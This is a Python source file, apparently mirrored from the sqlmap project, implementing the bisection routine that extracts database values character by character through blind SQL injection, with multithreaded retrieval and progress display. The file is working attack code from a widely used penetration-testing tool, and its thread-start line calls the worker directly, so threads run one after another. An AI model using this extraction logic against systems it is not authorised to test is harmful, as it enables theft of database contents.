mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2024-11-22 17:46:37 +03:00
259 lines
8.1 KiB
Python
259 lines
8.1 KiB
Python
#!/usr/bin/env python
|
|
|
|
"""
|
|
$Id$
|
|
|
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
|
|
|
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
|
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
|
|
|
sqlmap is free software; you can redistribute it and/or modify it under
|
|
the terms of the GNU General Public License as published by the Free
|
|
Software Foundation version 2 of the License.
|
|
|
|
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
|
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
|
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
|
details.
|
|
|
|
You should have received a copy of the GNU General Public License along
|
|
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
|
"""
|
|
|
|
|
|
|
|
import threading
|
|
import time
|
|
import traceback
|
|
|
|
from lib.core.agent import agent
|
|
from lib.core.common import dataToSessionFile
|
|
from lib.core.common import dataToStdout
|
|
from lib.core.common import replaceNewlineTabs
|
|
from lib.core.data import conf
|
|
from lib.core.data import kb
|
|
from lib.core.data import logger
|
|
from lib.core.exception import sqlmapConnectionException
|
|
from lib.core.exception import sqlmapValueException
|
|
from lib.core.exception import sqlmapThreadException
|
|
from lib.core.exception import unhandledException
|
|
from lib.core.progress import ProgressBar
|
|
from lib.core.unescaper import unescaper
|
|
from lib.request.connect import Connect as Request
|
|
|
|
|
|
def bisection(payload, expression, length=None):
|
|
"""
|
|
Bisection algorithm that can be used to perform blind SQL injection
|
|
on an affected host
|
|
"""
|
|
|
|
partialValue = ""
|
|
finalValue = ""
|
|
|
|
if kb.dbmsDetected:
|
|
_, _, _, _, _, fieldToCastStr = agent.getFields(expression)
|
|
nulledCastedField = agent.nullAndCastField(fieldToCastStr)
|
|
expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)
|
|
expressionUnescaped = unescaper.unescape(expressionReplaced)
|
|
else:
|
|
expressionUnescaped = unescaper.unescape(expression)
|
|
|
|
infoMsg = "query: %s" % expressionUnescaped
|
|
logger.info(infoMsg)
|
|
|
|
if length and not isinstance(length, int) and length.isdigit():
|
|
length = int(length)
|
|
|
|
if length == 0:
|
|
return 0, ""
|
|
|
|
showEta = conf.eta and length
|
|
numThreads = min(conf.threads, length)
|
|
threads = []
|
|
|
|
if showEta:
|
|
progress = ProgressBar(maxValue=length)
|
|
progressTime = []
|
|
|
|
if conf.verbose in ( 1, 2 ) and not showEta:
|
|
if isinstance(length, int) and conf.threads > 1:
|
|
infoMsg = "starting %d threads" % numThreads
|
|
logger.info(infoMsg)
|
|
|
|
dataToStdout("[%s] [INFO] retrieved: %s" % (time.strftime("%X"), "_" * length))
|
|
dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X"))
|
|
else:
|
|
dataToStdout("[%s] [INFO] retrieved: " % time.strftime("%X"))
|
|
|
|
queriesCount = [0] # As list to deal with nested scoping rules
|
|
|
|
|
|
def getChar(idx):
|
|
maxValue = 127
|
|
minValue = 0
|
|
|
|
while (maxValue - minValue) != 1:
|
|
queriesCount[0] += 1
|
|
limit = ((maxValue + minValue) / 2)
|
|
forgedPayload = payload % (expressionUnescaped, idx, limit)
|
|
result = Request.queryPage(forgedPayload)
|
|
|
|
if result == True:
|
|
minValue = limit
|
|
else:
|
|
maxValue = limit
|
|
|
|
if (maxValue - minValue) == 1:
|
|
# NOTE: this first condition should never occur
|
|
if maxValue == 1:
|
|
return None
|
|
else:
|
|
return chr(minValue + 1)
|
|
|
|
|
|
def etaProgressUpdate(charTime, index):
|
|
if len(progressTime) <= ( (length * 3) / 100 ):
|
|
eta = 0
|
|
else:
|
|
midTime = sum(progressTime) / len(progressTime)
|
|
midTimeWithLatest = (midTime + charTime) / 2
|
|
eta = midTimeWithLatest * (length - index) / conf.threads
|
|
|
|
progressTime.append(charTime)
|
|
progress.update(index)
|
|
progress.draw(eta)
|
|
|
|
|
|
if conf.threads > 1 and isinstance(length, int) and length > 1:
|
|
value = [None] * length
|
|
index = [0] # As list for python nested function scoping
|
|
idxlock = threading.Lock()
|
|
iolock = threading.Lock()
|
|
|
|
|
|
def downloadThread():
|
|
while True:
|
|
idxlock.acquire()
|
|
|
|
if index[0] >= length:
|
|
idxlock.release()
|
|
|
|
return
|
|
|
|
index[0] += 1
|
|
curidx = index[0]
|
|
idxlock.release()
|
|
|
|
charStart = time.time()
|
|
val = getChar(curidx)
|
|
|
|
if val == None:
|
|
raise sqlmapValueException, "failed to get character at index %d (expected %d total)" % (curidx, length)
|
|
|
|
value[curidx-1] = val
|
|
|
|
if showEta:
|
|
etaProgressUpdate(time.time() - charStart, index[0])
|
|
elif conf.verbose in ( 1, 2 ):
|
|
s = "".join([c or "_" for c in value])
|
|
iolock.acquire()
|
|
dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), s))
|
|
iolock.release()
|
|
|
|
|
|
def downloadThreadProxy(numThread):
|
|
try:
|
|
downloadThread()
|
|
|
|
except (sqlmapConnectionException, sqlmapValueException), errMsg:
|
|
conf.threadException = True
|
|
logger.error("thread %d: %s" % (numThread + 1, errMsg))
|
|
|
|
except KeyboardInterrupt:
|
|
conf.threadException = True
|
|
|
|
print
|
|
logger.debug("waiting for threads to finish")
|
|
|
|
try:
|
|
while (threading.activeCount() > 1):
|
|
pass
|
|
|
|
except KeyboardInterrupt:
|
|
raise sqlmapThreadException, "user aborted"
|
|
|
|
except:
|
|
conf.threadException = True
|
|
errMsg = unhandledException()
|
|
logger.error("thread %d: %s" % (numThread + 1, errMsg))
|
|
traceback.print_exc()
|
|
|
|
|
|
# Start the threads
|
|
for numThread in range(numThreads):
|
|
thread = threading.Thread(target=downloadThreadProxy(numThread))
|
|
thread.start()
|
|
threads.append(thread)
|
|
|
|
# And wait for them to all finish
|
|
for thread in threads:
|
|
thread.join()
|
|
|
|
# If we have got one single character not correctly fetched it
|
|
# can mean that the connection to the target url was lost
|
|
if None in value:
|
|
for v in value:
|
|
if isinstance(v, str) and v != None:
|
|
partialValue += v
|
|
|
|
if partialValue:
|
|
finalValue = partialValue
|
|
infoMsg = "\r[%s] [INFO] partially retrieved: %s" % (time.strftime("%X"), finalValue)
|
|
else:
|
|
finalValue = "".join(value)
|
|
infoMsg = "\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), finalValue)
|
|
|
|
if isinstance(finalValue, str) and len(finalValue) > 0:
|
|
dataToSessionFile(replaceNewlineTabs(finalValue))
|
|
|
|
if conf.verbose in ( 1, 2 ) and not showEta and infoMsg:
|
|
dataToStdout(infoMsg)
|
|
|
|
else:
|
|
index = 0
|
|
|
|
while True:
|
|
index += 1
|
|
charStart = time.time()
|
|
val = getChar(index)
|
|
|
|
if val == None:
|
|
break
|
|
|
|
finalValue += val
|
|
|
|
dataToSessionFile(replaceNewlineTabs(val))
|
|
|
|
if showEta:
|
|
etaProgressUpdate(time.time() - charStart, index)
|
|
elif conf.verbose in ( 1, 2 ):
|
|
dataToStdout(val)
|
|
|
|
if conf.verbose in ( 1, 2 ) or showEta:
|
|
dataToStdout("\n")
|
|
|
|
if ( conf.verbose in ( 1, 2 ) and showEta and len(str(progress)) >= 64 ) or conf.verbose >= 3:
|
|
infoMsg = "retrieved: %s" % finalValue
|
|
logger.info(infoMsg)
|
|
|
|
if not partialValue:
|
|
dataToSessionFile("]\n")
|
|
|
|
if conf.threadException:
|
|
raise sqlmapThreadException, "something unexpected happen into the threads"
|
|
|
|
return queriesCount[0], finalValue
|